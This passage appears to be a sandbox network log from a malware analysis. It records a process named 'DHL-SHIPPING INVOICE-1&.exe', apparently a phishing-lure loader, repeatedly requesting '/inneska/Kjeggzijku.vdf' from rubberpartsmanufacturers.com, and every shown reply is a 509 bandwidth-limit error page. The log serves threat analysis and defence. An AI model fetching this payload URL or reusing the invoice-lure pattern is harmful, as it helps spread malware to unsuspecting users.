Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50073	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:28 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:28 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:28 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:28 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50074	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:29 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:29 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:29 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:29 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50075	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:31 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:31 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:31 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50076	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:32 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:32 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50077	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:34 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:34 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:34 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50078	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:35 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:35 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50079	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:37 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:37 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:37 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:37 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50080	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:39 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:39 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:39 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50081	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:40 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:40 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:40 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50082	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:42 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:42 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50084	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:43 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:44 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:44 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50085	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:45 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:46 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:45 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:46 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50086	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:47 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:47 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:47 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50087	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:48 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:49 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:48 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:49 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50088	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:50 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit 